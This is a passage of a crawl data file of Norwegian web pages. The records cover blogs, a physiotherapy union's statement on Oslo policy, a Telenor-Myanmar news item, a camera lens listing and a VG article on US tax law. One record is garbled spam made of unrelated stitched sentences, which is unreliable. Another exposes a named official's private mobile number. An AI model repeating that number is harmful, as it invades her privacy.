jeg er ikke sponset, dessverre.\n\n\n\n**Tine Katrine**\n\n27 \u00e5ring med alt for mye fritid og stor kj\u00e6rlighet for dyr og planter. Er glad i \u00e5 fotografere, reise og skrive. Bor for tiden rett utenfor Oslo og pr\u00f8ver \u00e5 finne litt glede i et liv som kronisk syk.\n\n", "language": "no", "__index_level_0__": "793075d1-9392-44e1-b6bd-6cdf2a540407"}
{"url": "http://www.ivarjohansen.no/temaer/helsevesen/3629-fysioterapi.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:22:16Z", "text": "# Helsevesen\n\n## Utfordringer for fysioterapitjenesten i Oslo\n\n    Publisert l\u00f8rdag 31. mars 2012 03:23\n\nBystyret behandlet onsdag sak \"Fysioterapitjenesten i Oslo - Status og utviklingstrekk\", og Norsk Fysioterapeutforbund uttaler i denne sammenheng blant annet:  \n  \n\"NFF merker seg at helse- og sosialkomiteen har jobbet grundig med fysioterapisaken. Vi mener en bystyrebehandling p\u00e5 grunnlag av den foreliggende innstillingen m\u00e5 betraktes som et kolon, ikke som et punktum i denne saken. Vi ser fremdeles at den erfaringen vi sitter inne med b\u00e5de som faggruppe, og som ansatte og privatpraktiserende fysioterapeuter i Oslo kommune, b\u00f8r trekkes inn i enda st\u00f8rre grad n\u00e5r detaljene skal p\u00e5 plass og tjenesten videreutvikles i tr\u00e5d med fremtidige krav og behov.\"  \n  \nS\u00e6rlig er NFF skeptisk til at bystyrets helse og sosialkomite uttaler at \"Komiteen mener at byr\u00e5det b\u00f8r vurdere \u00e5 tidsbegrense hjemlene slik at det er reell konkurranse om \u00e5 yte den mest m\u00e5lrettede og kvalitativt beste behandlingen og samtidig gj\u00f8re det enklere for nyutdannede \u00e5 etablere seg. Det vil gi kommunen/bydelene bedre muligheter for \u00e5 m\u00e5lstyre helsetjenestene. En slik periodisk avgrensing m\u00e5 likevel v\u00e6re lang nok til at fysioterapeutene, som er selvstendig n\u00e6ringsdrivende, kan foreta n\u00f8dvendige investeringer i utstyr og institutt.\"  \n  \nOm dette sier Fysioterapeutforbundet: \"Komiteen mener tidsbegrensning av hjemlene er virkemidlet for \u00e5 skape reell konkurranse. NFF mener krav til og tilrettelegging for faglig ajourf\u00f8ring blant avtalefysioterapeutene er et bedre og mer positivt tiltak. Komiteen sier ingenting om hvor lange perioder de tenker seg at hjemlene skal tildeles for, men mange terapeuter m\u00e5 for eksempel inng\u00e5 leiekontrakter for 10 \u00e5r av gangen, og med en praksis med tidsbegrensede hjemler, b\u00f8r kommunen i langt st\u00f8rre grad enn i dag vise velvilje overfor de rammebetingelsene fysioterapeutene skal jobbe under, som for eksempel leieavtaler, hvor mange hjemler som er knyttet til samme praksis for samme tidsperiode etc. Her ser vi store muligheter for \u00e5 gj\u00f8re livet sv\u00e6rt vanskelig for en del avtalefysioterapeuter, og NFF \u00f8nsker \u00e5 bli trukket inn med v\u00e5r erfaringskompetanse f\u00f8r man bestemmer seg for en slik l\u00f8sning.\"  \n  \nKloke innspill, sier n\u00e5 jeg.  \n  \n**NFFs kommentarer til helse- og sosialkomiteens innstilling**  \n  \nNFF merker seg at helse- og sosialkomiteen har jobbet grundig med fysioterapisaken. Vi mener en bystyrebehandling p\u00e5 grunnlag av den foreliggende innstillingen m\u00e5 betraktes som et kolon, ikke som et punktum i denne saken. Vi ser fremdeles at den erfaringen vi sitter inne med b\u00e5de som faggruppe, og som ansatte og privatpraktiserende fysioterapeuter i Oslo kommune, b\u00f8r trekkes inn i enda st\u00f8rre grad n\u00e5r detaljene skal p\u00e5 plass og tjenesten videreutvikles i tr\u00e5d med fremtidige krav og behov. Vi h\u00e5per enkeltpolitikere, komite, bystyre og byr\u00e5d vil gj\u00f8re bruk av v\u00e5rt st\u00e5ende tilbud om \u00e5 bidra med det vi kan for \u00e5 f\u00e5 til et best mulig samarbeid om en optimal fysioterapitjeneste til alle som trenger fysioterapi innenfor Oslo kommunes grenser. I f\u00f8rste omgang \u00f8nsker vi \u00e5 knytte noen kommentarer til helse- og sosialkomiteens merknader og innstilling:  \n  \nNFF oppfatter komiteen dit hen at de mener NFF har foresl\u00e5tt at avtalefysioterapeutene b\u00f8r tilby forebyggende fysioterapi p\u00e5 dagsentrene. NFF mener det er en riktig og samfunns\u00f8konomisk prioritering \u00e5 tilby fysioterapi p\u00e5 dagsentrene, men sett i lys av dagens rammebetingelser, mener vi dette er en oppgave som ligger bedre til rette for \u00e5 bli ivaretatt av ansatte fysioterapeuter.  \n  \n\"Byr\u00e5det bes g\u00e5 i dialog med Helfo for \u00e5 fremskaffe informasjon om hvor mange som st\u00e5r i k\u00f8, hvilke diagnosegrupper som m\u00e5 vente og for \u00e5 finne ut i hvor stor grad de samme pasienter st\u00e5r p\u00e5 venteliste hos flere behandlere.\"  \n  \nPasientstatistikk er et nyttig verkt\u00f8y for \u00e5 planlegge og dimensjonere en tjeneste i forhold til behovet. NFF ser imidlertid problemer med \u00e5 skaffe oversikt over hvilke pasienter som st\u00e5r p\u00e5 venteliste hos flere behandlere. \u00c5 f\u00e5 frem slike opplysninger vil kreve at terapeutene m\u00e5 oppgi navn p\u00e5 pasientene de har p\u00e5 venteliste, noe som vil stride mot personvernhensyn og taushetsplikt.  \n  \n\"Komiteen ser positivt p\u00e5 at fysioterapeuter er samlokalisert i et milj\u00f8 med f. eks eldresenter, legekontor, kiropraktor, osteopat, naprapat, akupunkt\u00f8r, ulike typer treningstilbud og sammen med spesialister som manuellterapeuter og psykomotorikere.\"  \n  \nNFF har ingenting imot samlokalisering av ulike tilbud der det er praktisk mulig. Ikke minst vil dette kunne lette tilgjengeligheten for flere pasientgrupper, som eldre og funksjonshemmede. Mange av avtaleterapeutene i kommunen har f\u00e5tt klare signaler om at deres avtalepraksis m\u00e5 drives skarpt adskilt fra helprivat fysioterapipraksis. NFF stiller seg derfor sp\u00f8rrende til hvordan kommunen tenker seg avtalefysioterapien s\u00e5 n\u00e6rt knyttet til mer alternative og p\u00e5 alle m\u00e5ter helprivate behandlingstilbud. Her blir det viktig med ryddighet og klare retningslinjer for hvordan ulike behandlingstilbud skal skilles fra hverandre, og hvordan pasientinformasjonen skal gj\u00f8res utvetydig ift. for eksempel n\u00e5r det gjelder egenandeler og rett til trygderefusjon. NFF har laget retningslinjer for hvordan v\u00e5re medlemmer kan kombinere avtalefysioterapi og helprivat virksomhet p\u00e5 en ryddig m\u00e5te. Om andre grupper behandlere skal trekkes inn i samme praksisfellesskap, m\u00e5 dette planlegges godt.  \n  \n\"Komiteen mener at byr\u00e5det b\u00f8r vurdere \u00e5 tidsbegrense hjemlene slik at det er reell konkurranse om \u00e5 yte den mest m\u00e5lrettede og kvalitativt beste behandlingen og samtidig gj\u00f8re det enklere for nyutdannede \u00e5 etablere seg. Det vil gi kommunen/bydelene bedre muligheter for \u00e5 m\u00e5lstyre helsetjenestene. En slik periodisk avgrensing m\u00e5 likevel v\u00e6re lang nok til at fysioterapeutene, som er selvstendig n\u00e6ringsdrivende, kan foreta n\u00f8dvendige investeringer i utstyr og institutt.\"  \n  \nKomiteen mener tidsbegrensning av hjemlene er virkemidlet for \u00e5 skape reell konkurranse. NFF mener krav til og tilrettelegging for faglig ajourf\u00f8ring blant avtalefysioterapeutene er et bedre og mer positivt tiltak. Komiteen sier ingenting om hvor lange perioder de tenker seg at hjemlene skal tildeles for, men mange terapeuter m\u00e5 for eksempel inng\u00e5 leiekontrakter for 10 \u00e5r av gangen, og med en praksis med tidsbegrensede hjemler, b\u00f8r kommunen i langt st\u00f8rre grad enn i dag vise velvilje overfor de rammebetingelsene fysioterapeutene skal jobbe under, som for eksempel leieavtaler, hvor mange hjemler som er knyttet til samme praksis for samme tidsperiode etc. Her ser vi store muligheter for \u00e5 gj\u00f8re livet sv\u00e6rt vanskelig for en del avtalefysioterapeuter, og NFF \u00f8nsker \u00e5 bli trukket inn med v\u00e5r erfaringskompetanse f\u00f8r man bestemmer seg for en slik l\u00f8sning.  \n  \n\u00c5 tidsbegrense hjemlene vil ogs\u00e5 kunne bryte en kontinuitet / stabilitet som ikke minst mange pasienter er avhengig av, og som ogs\u00e5 samarbeidspartnere nyter godt av i dag.  \n  \nDet er mange forhold som b\u00f8r hensyntas f\u00f8r man konkluderer med at tidsbegrensede hjemler er veien \u00e5 g\u00e5.  \n  \nTil innstillingen pkt.5:  \n  \n\"Bystyret ber byr\u00e5det s\u00f8rge for at ny fysioterapitjeneste kvalitetssikres slik at en uavhengig av bostedsbydel, og uavhengig hva slags diagnose en har, har en lik rett p\u00e5 fysioterapi.\"  \n  \nDette er NFF enige i. Det vi ser skaper problemer en del steder, er at terapeutene f\u00e5r f\u00f8ringer om \u00e5 prioritere befolkningen i bydelen. Lik rett til fysioterapi b\u00f8r etter v\u00e5r mening utvides til \"lik rett til \u00e5 f\u00e5 fysioterapi der det er mest hensiktsmessig \u00e5 motta behandlingen, for eksempel n\u00e6r arbeidsstedet.\"  \n  \n  \nFor Norsk Fysioterapeutforbund  \n  \nMarianne Tollefsen  \n  \nAvdelingsleder NFF avdeling Oslo  \n  \nE-post: Denne e-postadressen er beskyttet mot programmer som samler e-postadresser. Du m\u00e5 aktivere javaskript for \u00e5 kunne se den.  \n  \nTelefon jobb: 22 93 30 80  \n  \nMobil jobb: 47 71 74 07  \n  \nMobil privat: 93 21 78 68  \n  \nOm noen har sp\u00f8rsm\u00e5l eller behov for \u00e5 diskutere noe i forkant av bystyrebehandlingen \u2013 eller senere \u2013 ta gjerne kontakt.  \n  \n   0   \\#1 Magnhild 31-03-2012 19:38\n\nDette gleder vi oss over. Kvalitet skal koste. I Norge i dag mister vi stadigg fysioterapeuter over i andre yrker. Det er ikke nok arbeid \u00e5 f\u00e5 som terapeut, samtidig er betalingsviljen formidabel for n\u00e6rliggende bransjer. Hvorfor skal systemet n\u00e5 v\u00e6re slik at det ikke er fysioterapeuter som anbefaler sine barn \u00e5 bli det?  \n  \n\u00d8konomisk trygghet i profesjonaliser ingstiden, gjerne ca 10 \u00e5r med gradvis avtrapping im\u00f8tesees med glede.  \n  \nPrivate fysioterapeuter brenner for faget. Men vi vil ogs\u00e5 gjerne kunne leve av det.\n\n", "language": "no", "__index_level_0__": "79859397-8b1c-4c4d-8a56-5d84ef741c45"}
{"url": "https://blogkeen.com/visit_blog.aspx?nsuser=kristinw", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:46:03Z", "text": "### Mini moccasins\n\nThursday, 10:37\n\n/sponset av babyshop.noJeg elsker disse supers\u00f8te mini-mokkasinene fra Bet\u00f3n som kom i posten tidligere i uken\\! Prikker er min favoritt, haha, det har dere vel skj\u00f8nt by now. De er fremdeles litt store til Si, men kommer til \u00e5 v\u00e6re perfekte n\u00e5r hun skal begynne \u00e5 krype og g\u00e5 rundt\\! Er de ikke s\u00f8te...\n\n\n\n### Working saturday\n\n3/10/2018, 16:14\n\nHei p\u00e5 dere\\! Mine dager g\u00e5r s\u00e5 i surr med hverandre at jeg nesten ikke aner hvilken dag det er lenger - s\u00e5nn g\u00e5r det n\u00e5r man ogs\u00e5 har en mann som har fri en onsdag men jobber p\u00e5 en l\u00f8rdag, haha\\! S\u00e5 da har plutselig jeg ogs\u00e5 en skikkelig jobbel\u00f8rdag. Det var plutselig s\u00e5 mange sm\u00e5 og store...\n\n\n\n### S forever\n\n### Mars = v\u00e5r\n\n3/3/2018, 11:23\n\nHurra for Mars\\! Det er jo den f\u00f8rste v\u00e5rm\u00e5neden, s\u00e5 da kan man vel si at det er pittelitt v\u00e5r, selv om det er minusgrader ute? I g\u00e5r fikk jeg for f\u00f8rste gang litt v\u00e5rf\u00f8lelse, i nyydelig sol, og med fine farger rundt meg - det er jo til \u00e5 bli glad av\\! V\u00e5r er min favoritt\u00e5rstid og bare det \u00e5 merke...\n\n\n\n### Put a belt on it\n\n2/28/2018, 10:34\n\nHallo fra Sibir\\! Neida, joda. Det er s\u00e5 kaldt her hjemme at jeg vet ikke helt hva jeg skal gj\u00f8re - men ute skinner solen og det er heelt bl\u00e5 himmel. S\u00e5 hodet mitt tenker at jeg vil ta p\u00e5 meg kjole og converse og leke v\u00e5r - men s\u00e5 innser jeg at jeg sitter inne og fryser, s\u00e5 da er det nok enda...\n\n\n\n### A new week\n\n2/26/2018, 21:09\n\n", "language": "no", "__index_level_0__": "28467a08-8f06-421b-ac60-7f61927f030d"}
{"url": "https://www.digi.no/artikler/risikerer-fengsel-hvis-du-eier-mobil-i-myanmar/217603", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:31:17Z", "text": "\n\n# minoritet gjort statsl\u00f8se\n\n## \\- Risikerer fengsel hvis du eier mobil i Myanmar\n\nUkjent for Telenor som bygger mobilnett i landet.\n\n  - 27\\. mai 2015 - 08:11\n\nFolk fra rohingya-minoriteten kan bli fengslet for \u00e5 ha mobiltelefon i Myanmar, sier menneskerettsaktivisten Matthew Smith. Han ber Telenor ta opp saken med myndighetene.\n\nFolk i Rakhine-delstaten m\u00e5 ha tillatelse fra myndighetene for \u00e5 kunne skaffe seg en mobiltelefon, forteller Smith, som leder organisasjonen Fortify Rights. Den overv\u00e5ker overgrep i det tidligere milit\u00e6rdiktaturet.\n\n\u2013 Dersom de blir oppdaget med en aktiv telefon uten tillatelse, eller de har en bangladeshisk telefon, kan de bli p\u00e5grepet, sier Smith til NTB.\n\n\u2013 Jeg syns dette er noe Telenor b\u00f8r ta opp med myndighetene i Myanmar, sier Smith.\n\nHan varsler at han ogs\u00e5 vil ta opp problemstillingen n\u00e5r han skal m\u00f8te representanter for Utenriksdepartementet i Oslo fredag.\n\n#### Overgrep\n\nMange rohingyaer lever i underutviklede omr\u00e5der i Malaysia og mangler tilgang til de mest grunnleggende tjenester.\n\nSmith og flere andre aktivister mener minoriteten utsettes for overgrep s\u00e5 omfattende at det kan v\u00e6re tale om forbrytelser mot menneskeheten.\u00a0 Han tror myndighetene frykter at flere skal f\u00e5 vite sannheten dersom mobiltelefoner ble vanlig.\n\n\u2013 Myndighetene vil ikke at noen skal f\u00e5 vite hva som skjer, mener han.\n\n#### \u2013 Tilbud til alle\n\nTelenor, som er i ferd med \u00e5 bygge ut mobiltelefonnettet i landet, sier at de ikke kjenner til lover som forbyr noen \u00e5 ha mobiltelefon.\n\n\u2013 Vi har en forpliktelse til \u00e5 tilby mobiltjenester til alle og dekke alle omr\u00e5der av landet, sier pressetalsmann Glenn Mandelid.\n\nHan medgir at krav om gyldige identitetspapirer kan by p\u00e5 problemer for folk som vil opprette mobilabonnement, men sier selskapet har en pragmatisk tiln\u00e6rming og aksepterer alle former for ID-kort.\n\nFor mange rohingyaer byr det imidlertid p\u00e5 store problemer. Myndighetene anerkjenner nemlig ikke minoriteten som hjemmev\u00e6rende i landet og har gjort dem statsl\u00f8se. Dermed er det ogs\u00e5 vanskelig \u00e5 skaffe seg identitetspapirer.\n\n#### Telenor bygger ut i Rakhine\n\nMandelid opplyser at de er i ferd med \u00e5 bygge ut mobilnettet i delstaten Rakhine, der de fleste rohingyaene bor. I f\u00f8rste rekke er det tett befolkede steder som vil nyte godt av mobilnettet.\n\nTelenors pressetalsmann vil ikke foregripe en eventuell konflikt med myndighetene om mobiltilgang i omr\u00e5der bebodd av rohingyaer.\n\n** Myanmar Telenor\n\n", "language": "no", "__index_level_0__": "cd43b256-9358-4938-b8ae-4d3d588e42f4"}
{"url": "http://linni.blogg.no/1234037532_n_har_vi_tatt_bobleba.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:47:12Z", "text": "# LinniMeister\n\nHei kj\u00e6re leser\\! Jeg heter Linni Meister og er mor til verdens beste gutt - Dennis Michael. Jeg jobber som Tv-profil, modell, blogger og er n\u00e5 ute med min egen kleskolleksjon \"Be Fantastic - By Linni \" p\u00e5 Illusion.no. Her f\u00e5r du se hvem jeg egentlig er.\n\n  \n  \n## N\u00e5 har vi tatt boblebad og skal ned \u00e5 spise middag. Dette er litt\n\n07.02.2009\n\n  \n\n  \nN\u00e5 har vi tatt boblebad og skal ned \u00e5 spise middag. Dette er litt av utsikten fra balkongen. Dagbladet ringte meg isted og spurte om jeg var en av de som satt fast i sn\u00f8en. Det er visst kaos hjemme. Stakkars Dere. Svarte at jeg satt fast i Spania. Hehe. Smask\n\n  \n\n\n  \n\n\n# xbabe90x\n\n08.02.2009 kl.00:20\n\nBoblebad... Det h\u00f8rtes deilig ut\\!\n\n  \n  \n", "language": "no", "__index_level_0__": "69598856-3ddb-4138-a7c3-b7651663fe01"}
{"url": "http://edown.eu/kat-5/enkelt-parti-meeranethai-massasje-norsk-3215.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:49:16Z", "text": "# ENKELT PARTI MEERANE\n\n  \nMy hearty congratulations to you in connection with your jubilee\\! Som norske problemister flest fikk han sjelden anledning til \u00e5 ang\u00e5 kolleger, og i egen avsondrethet oppdaget han ei rekke temaer som det viste seg for lengst var dyrket ute i verden. Marcus Aur\u0113lius, avsl\u00f8re Antonius 2. Vi blir derfor skikkelig glad bare du hvitlister TV 2 slik at vi kan fortsette \u00e5 v\u00e6re ei gratis nyhetskilde for deg.\n\n#### Kommentarer:\n\n*23.01.2018 : 09:17 wankboyyy:*\n\n", "language": "no", "__index_level_0__": "d52d89a1-da83-43ce-9732-bd8f5fcaf3d5"}
{"url": "https://www.dustinhome.no/product/5011003010/af-2014-dg-hsm-art-nikon", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:45:45Z", "text": "## Raske fakta\n\n**Objektivsystem / Type**\n\nVidvinkelobjektiv\n\n**Min. brennvidde**\n\n20 mm\n\n**Maks brennvidde**\n\n20 mm\n\n**Blender\u00e5pning**\n\nF/1.4\n\n## N\u00f8kkelfunksjoner\n\n  - Egner seg godt for \u00f8yeblikksbilder i d\u00e5rlig belysning, innend\u00f8rsfotografering og for portretter\n  - Fullformats ultra-vidvinkelobjektiv med F1.4\n  - Et h\u00f8ytpresterende objektiv med enest\u00e5ende oppl\u00f8sning og h\u00f8y bildekvalitet ogs\u00e5 ved full blender\u00e5pning\n  - HSM (Hyper Sonic Motor)\n\n## Produktinformasjon\n\nSIGMA 20mm F1.4 DG HSM ART er et fullformats ultra-vidvinkelobjektiv med F1.4 i lysstyrke. Det er ideelt for fotografering av landskap, stjernehimmel og arkitektur. Foruten \u00e5 ta vidvinkelbilder med hele motivet i fokus kan fotografen bruke full blender\u00e5pning for \u00e5 ta bilder med motivet i fokus og uklar bakgrunn med en vakker bokeh-effekt. Objektivet egner seg ogs\u00e5 for \u00e5 ta \u00f8yeblikksbilder i d\u00e5rlig belysning, innend\u00f8rs fotografering og for portretter. Dette er et h\u00f8yt presterende objektiv med enest\u00e5ende oppl\u00f8sning og h\u00f8y bildekvalitet ogs\u00e5 med full blender\u00e5pning.  \n  \nObjektivet inneholder asf\u00e6riske linseelementer med stor diameter. To FLD (F Low Dispersion \u2013ytelse som tilsvarer fluoritt) glass og fem SLD (Special Low Dispersion) glass. Denne avanserte linsekonstruksjonen minimerer sf\u00e6risk aberrasjon, axiell kromatisk aberrasjon og feltet kurvatur. Med Super Multi-Layer Coating antirefleksjonsbehandling reduseres sp\u00f8kelsesbilder og gir skarpe bilder med h\u00f8y kontrast ogs\u00e5 i motlys.  \n  \nHSM (Hyper Sonic Motor) garanterer en stille og rask AF-funksjon. Ved \u00e5 optimere AF-algoritmen har man oppn\u00e5dd en mykere AF. Dette objektivet tilbyr ogs\u00e5 full MF ved \u00e5 vri p\u00e5 fokusringen p\u00e5 objektivet under auto fokusering. Dette uten at du trenger \u00e5 endre omkobleren p\u00e5 AF/MF fokuset, noe som gj\u00f8r at det g\u00e5r raskere \u00e5 stille inn skarpheten.  \n  \nMed avrundede blenderlameller skapes en elegant uskarphet for de omr\u00e5dene i bildet som ikke er i fokus. Bajonettfatningen er av messing og har h\u00f8y n\u00f8yaktighet og holdbarhet som gj\u00f8r den sv\u00e6rt motstandsdyktig under langvarig bruk.  \n  \nF\u00f8r levering gjennomg\u00e5r objektivet en kontroll og vurdering av Sigmas system (A1). Med dette kan tidligere uoppdagede h\u00f8yfrekvente detaljer havne innenfor rammen for unders\u00f8kelsene og korrigering. Med SIGMAs USB dokk kan objektivet oppgraderes, finjusteres og tilpasses etter egne \u00f8nsker.  \n  \nSIGMA er en av f\u00e5 produsenter hvis sine produkter ned til minste detalj er \"Made in Japan\".  \n\n## Spesifikasjoner\n\nNikon\n\n\nSvart\n\nSt\u00f8rrelser og vekt\n\nVekt\n\n0.95 kg\n\nLengde\n\n12.98 \\*cm\n\n9.07 cm\n\n", "language": "no", "__index_level_0__": "27942edc-d6fa-4e52-860b-2dbcea63e62a"}
{"url": "http://www.stud-fin.no/index.php/hovedside5/190-informasjonsmote-grunnskolelaererutdanning", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:33:54Z", "text": "# Grunnskolel\u00e6rerutdanning, trinn 1-7, (5 \u00e5rig master)\n**Samlingsbasert tilbud fra HS\u00d8 \"H\u00f8gskolen i S\u00f8r\u00f8st\u2013Norge\" p\u00e5 Studiesenteret Finnsnes**\n\nVil du gi barn en god oppstart p\u00e5 skoletiden.  \nSom grunnskolel\u00e6rer blir du ekspert p\u00e5 begynneroppl\u00e6ring og du bidrar til \u00e5 ivareta barns nysgjerrighet og l\u00e6relyst.  \nDen nye 5-\u00e5rige grunnskolel\u00e6rerutdanningen for trinn 1-7 gir deg lektorkompetanse.  \n  \nTorsdag kveld den 15. februar gjennomf\u00f8rte H\u00f8gskolen i S\u00f8r\u00f8st Norge i samarbeid med Studiesenteret Finnsnes informasjonsm\u00f8te om Grunnskolel\u00e6rerutdanning trinn 1 - 7, fem\u00e5rig master som starter opp p\u00e5 Studiesenteret h\u00f8sten 2018.  \nDet ble gitt informasjon om oppbyggingen av studiet, antall samlinger, hvilke krav som stilles for opptak og deltakelse p\u00e5 studiet.  \nDet var ca 35 fremm\u00f8tte hvorav 23 studenter allerede hadde bestemt seg for \u00e5 s\u00f8ke studiet.\n\nDaglig leder ved Studiesenteret Vidar Gunnberg sier at dette er et unikt tilbud til regionen v\u00e5r fra en anerkjent leverand\u00f8r av l\u00e6rerstudier som har et profesjonelt desentralisert nett-samlingsbasert tilbud. Gunnberg oppfordrer flere til \u00e5 s\u00f8ke og sier at Studiesenteret Finnsnes i samarbeid med Lenvik bibliotek etter beste evne vil st\u00f8tte studentene i studiet. For \u00e5 f\u00e5 realisert tilbudet m\u00e5 det v\u00e6re 24 kvalifiserte s\u00f8kere og det kan tas opp mange flere studenter s\u00e5 \"l\u00f8p og s\u00f8k\" sier Gunnberg.\n\nInformasjon om opptak og innholdet i studiet finner du p\u00e5 nettsiden til H\u00f8gskolen i S\u00f8r\u00f8st Norge og Studiesenteret Finnsnes.**  \n**Nettsiden til HS\u00d8 \"H\u00f8gskolen i S\u00f8r\u00f8st-Norge\", viser hvordan studiet p\u00e5 GLU1-7 er bygd opp.  \nDet vil v\u00e6re en fordel for potensielle s\u00f8kere \u00e5 sette seg litt inn i rammene i forkant.\n\n**S\u00f8k studiet:  \n**https://www.usn.no/studier/finn-studier/larer-lektor-og-pedagogikk/larerutdanning-1-7-trinn/grunnskolelarerutdanning-for-trinn-1-til-7-article212228-7055.html\n\n**S\u00f8knadsfrist: 15. april 2018**\n\n", "language": "no", "__index_level_0__": "1d59f6cc-8210-4800-83cf-0d80c68384dd"}
{"url": "https://www.vg.no/nyheter/utenriks/usa/professor-om-trumps-forsoek-paa-ny-skattelov-kan-ende-i-krise-uansett/a/24190287/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:36:52Z", "text": "# Professor om Trumps fors\u00f8k p\u00e5 ny skattelov: \u2013 Kan ende i krise uansett\n\n## Denne saken handler om:\n\n  - USA\n  - Donald Trump\n  - Skatt\n\n**Twitter:** @JosteinMatre\n\nDet mener professor og skatteekspert ved George Washington University, Neil H. Buchanan.\n\n\u2013 Dersom de ikke f\u00e5r gjennom en ny skattelov, slik de har lovet, vil de fremst\u00e5 som udugelige. Det vil v\u00e6re en politisk krise for dem. Men det kan ogs\u00e5 ende med krise dersom de lykkes med \u00e5 lage en ny lov. Da m\u00e5 de nemlig m\u00f8te konsekvensene n\u00e5r mange av velgerne deres skj\u00f8nner at dette er skattekutt for de rike, og ikke for vanlige folk, sier professoren til VG.\n\nPresidenten og partiet hans hevder det motsatte.\n\n### Valgl\u00f8fte  \n\nEtter at Trump og republikanerne i Kongressen i sommer feilet i \u00e5 f\u00e5 gjennom et av sine viktigste valgl\u00f8fter, en ny helselov som skulle erstatte \u00abObamacare\u00bb, har et annet viktig l\u00f8fte, ny skattelov, st\u00e5tt \u00f8verst p\u00e5 agendaen. Skal de i l\u00f8pet av presidentens f\u00f8rste \u00e5r f\u00e5 gjennom en lovendring av stor betydning, s\u00e5 er denne som n\u00e5 gjelder.\n\nMen ogs\u00e5 det kan vise seg \u00e5 bli vanskelig, selv om et av kamrene i Kongressen, Representantenes hus, torsdag stemte for sin versjon av en ny lov. Utfordringen n\u00e5 ligger i \u00e5 f\u00e5 Senatet til \u00e5 stemme gjennom sin versjon, og s\u00e5 ved hjelp av en oppnevnt komite smelte de to versjonene samme til \u00e9n, som f\u00e5r flertall i begge kamrene. F\u00f8rst da kan man sende en lov til presidenten for signering.\n\nI Senatet har Republikanerne bare et knapt flertall p\u00e5 52 mot 48 representanter. Det betyr at bare tre republikanere kan stemme mot. Allerede har en av dem, senator Ron Johnson, sagt at han ikke kan st\u00f8tte forslaget som n\u00e5 ligger p\u00e5 bordet. Flere andre har uttrykt tvil. S\u00e6rlig Susan Collins.\n\nI tillegg har man John McCain, som stemte mot forslaget til helselov av prinsipp fordi han mente man ikke behandlet saken godt nok i Kongressen. Det var ingen h\u00f8ringer rundt loven for eksempel. Det har det heller ikke v\u00e6rt denne gang. Dermed kan man anta at han vil stemme nei av samme grunn her.\n\n\n\n\u2013 Noe av det som gj\u00f8r det vanskelig for dem er at det er veldig ulike grunner til at ulike representanter ikke st\u00f8tter forslaget, forklarer Buchanan.\n\n### Tror p\u00e5 \u00abnoe\u00bb  \n\nProblemet blir da at dersom man skal tilfredsstille de som n\u00e5 er n\u00f8lende vil det kanskje v\u00e6re med noe som andre representanter igjen ikke kan leve med. Skatteprofessoren sier han ikke tror de vil klare \u00e5 f\u00e5 gjennom noe i Senatet i f\u00f8rste omgang, men at de etter hvert trolig vil komme frem til et forslag de kan v\u00e6re enige om.\n\n\u2013 Det blir nok noe med mindre omlegginger enn de egentlig \u00f8nsker seg, men da kan de i det minste si at de fikk til noe.\n\n*\u2013 La oss si at det skjer, hvor vanskelig blir s\u00e5 arbeidet for komiteen som skal smelte de to kamrene sine forslag sammen til ett forslag som skal oppn\u00e5 flertall begge steder?*\n\n\u2013 Det er en veldig vanskelig jobb, fordi de to forslagene trolig vil v\u00e6re ganske ulike. Det virker nesten umulig \u00e5 f\u00e5 til. I alle fall dersom de skal f\u00e5 til store endringer. Da m\u00e5 representantene tenke at det \u00e5 f\u00e5 gjennom en stor, ny skattelov n\u00e5 i seg selv er s\u00e5 viktig at de er villige til \u00e5 godta alle tingene de ikke vil like med den, sier Buchanan, som tror sluttresultatet vil bli det samme som han tror vil skje i Senatet n\u00e5 i f\u00f8rste omgang:\n\n\u2013 Det er nok felles grunn til at de til slutt kan lykkes med \u00e5 f\u00e5 til en lov, men det blir noe mye mindre enn de \u00f8nsker seg, men som de kommer til \u00e5 feire utad som en stor seier.\n\n\n\n### Snarvei  \n\nB\u00e5de Republikanerne og presidenten har uttalt at de har som m\u00e5l \u00e5 vedta en ny lov f\u00f8r \u00e5rsskiftet. Professoren mener de har d\u00e5rlig tid for \u00e5 f\u00e5 til det, og sier han er overrasket over at Senatet ikke n\u00e5 bare vedtar et \u00abenkelt\u00bb forslag, for \u00e5 f\u00e5 det inn i komiteen som s\u00e5 skal smelte de to forslagene sammen.\n\n\u2013 Da kan de gj\u00f8re det virkelige arbeidet der. Det var det flertallsleder Mitch McConnell fors\u00f8kte \u00e5 f\u00e5 til med helseloven, med argument om at \u00abdet er ikke det som blir den endelige loven vi skal stemme over uansett\u00bb. Da r\u00f8k det p\u00e5 grunn av McCain, men jeg er likevel overrasket at de n\u00e5 gidder bry seg med \u00e5 lage et eget forslag i Senatet, sier Buchanan.\n\nHan p\u00e5peker at dette ikke er en vanlig m\u00e5te \u00e5 gj\u00f8re ting p\u00e5, men ser ikke at det er et argument for republikanerne ettersom han mener hele prosessen \u2013 uten for eksempel h\u00f8ringer \u2013 er uvanlig.\n\n\u2013 Det er ikke det at jeg \u00f8nsker \u00e5 gi dem noen ideer, men jeg forst\u00e5r ikke hvorfor de ikke n\u00e5 bare gj\u00f8r det slik. Hele prosessen er allerede korrupt likevel.\n\n## Kommentarer Antall kommentarer p\u00e5 artikkelen \n\nHar du en mening om denne artikkelen? Du m\u00e5 bruke ditt eget navn hvis du skal delta i debatten. Respekter andres meninger og husk at mange kan se hva du 